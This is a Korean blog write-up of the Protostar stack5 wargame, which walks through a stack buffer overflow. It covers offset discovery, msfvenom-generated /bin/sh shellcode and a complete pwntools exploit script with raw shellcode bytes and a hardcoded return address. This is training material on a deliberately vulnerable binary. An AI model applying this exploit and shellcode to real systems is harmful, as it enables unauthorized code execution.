일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- picoCTF
- 버퍼오버플로우
- picoCTF2018
- 해설
- general skills
- 리눅스
- Protostar
- KOISTUDY
- write up
- #hacking
- Smashing The Stack For Fun And Profit
- 해킹 공부
- #picoCTF2018
- 카이사르
- grep
- 리버싱
- 정답
- Hxd
- writeup
- CTF
- Aleph One
- cryptography
- 시스템
- 시스템해킹
- reversing
- forensics
- 번역
- 스택
- WEB
- dreamhack
Archives
- Today
- Total
Security || AI
[Protostar] stack5 본문
gets에서 esp+0x10을 호출하는 것을 볼 수 있다. 이는, 0x10이 문자열을 입력받을 변수 인것으로 보인다.
또한, esp에서 0x50을 뺀 것을 보아, 문자열을 입력받는 변수의 크기는 0x50-0x10으로 64로 파악된다.
쉘을 얻어내려면 ret 다음에 쉘코드를 삽입하여 쉘을 따내야할것 같으므로 브레이크포인트를 main+22(ret)에 걸어준다.
peda를 사용해서 100개 정도의 패턴을 생성한 후, stack영역을 보면 AA4A를 볼 수 있고, 이는 offset이 76이다.
위 사진처럼 msfvenom을 사용하여 x86환경에서의 /bin/sh 명령을 실행하는 쉘코드를 만든다.
현재 buffer의 크기는 64이므로 쉘코드를 올리고 ret에 buffer의 시작주소로 덮으면 쉘 코드를 실행시킬 수 있을 것 같다.
from pwn import *
p = process('./stack5')
e = ELF('./stack5')
offset = 76
buf = ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += "\x89\xe1\xcd\x80"
ret_addr = "\xb0\xd0\xff\xff" #p32(0xffffd0b0)
payload = buf+'\x90'*(76-len(buf))+ret_addr
print(payload, len(payload))
print(p.recvrepeat(1))
p.sendline(payload)
print(p.recvrepeat(1))
p.interactive()
위의 코드처럼 payload에 먼저 쉘코드를 넣고, 아까 구한 76에서 쉘코드의 길이만큼 뺀 값을 nop으로 덮어주었다.
그 다음, ret에 문자열을 입력받는 곳에 쉘코드의 시작주소(문자열을 입력받는 변수의 주소)를 넣었다.
정상적으로 쉘을 딴 것을 볼 수 있다.
반응형
'워게임(wargame) > Protostar' 카테고리의 다른 글
[Protostar] stack4 (0) | 2021.02.03 |
---|---|
[Protostar] stack3 (0) | 2021.02.02 |
[Protostar] stack2 (0) | 2021.02.01 |
[Protostar] stack1 (0) | 2021.01.04 |
[Protostar] stack0 (0) | 2019.08.13 |